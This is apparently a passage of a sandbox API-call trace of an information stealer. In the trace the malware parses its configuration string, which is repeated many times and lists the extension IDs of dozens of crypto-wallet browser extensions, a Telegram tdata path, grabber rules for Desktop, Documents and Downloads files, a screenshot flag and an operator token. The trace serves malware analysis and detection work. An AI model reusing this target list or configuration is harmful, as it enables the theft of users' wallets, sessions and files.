Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.579] lstrlenW (lpString="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2528 [0260.579] lstrlenW (lpString="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2528 [0260.579] LocalAlloc (uFlags=0x40, uBytes=0x13c0) returned 0x6b9720 [0260.579] lstrlenW (lpString="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2528 [0260.579] LocalAlloc (uFlags=0x40, uBytes=0x13c0) returned 0x6baae8 [0260.579] lstrlenW (lpString="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2528 [0260.579] LocalAlloc (uFlags=0x40, uBytes=0x13c0) returned 0x6bbeb0 [0260.579] StrStrW (lpFirst="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.579] lstrlenW (lpString="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2528 [0260.579] LocalAlloc (uFlags=0x40, uBytes=0x1440) returned 0x6bd278 [0260.579] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.579] LocalFree (hMem=0x6bd278) returned 0x0 [0260.579] StrStrW (lpFirst="ews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension 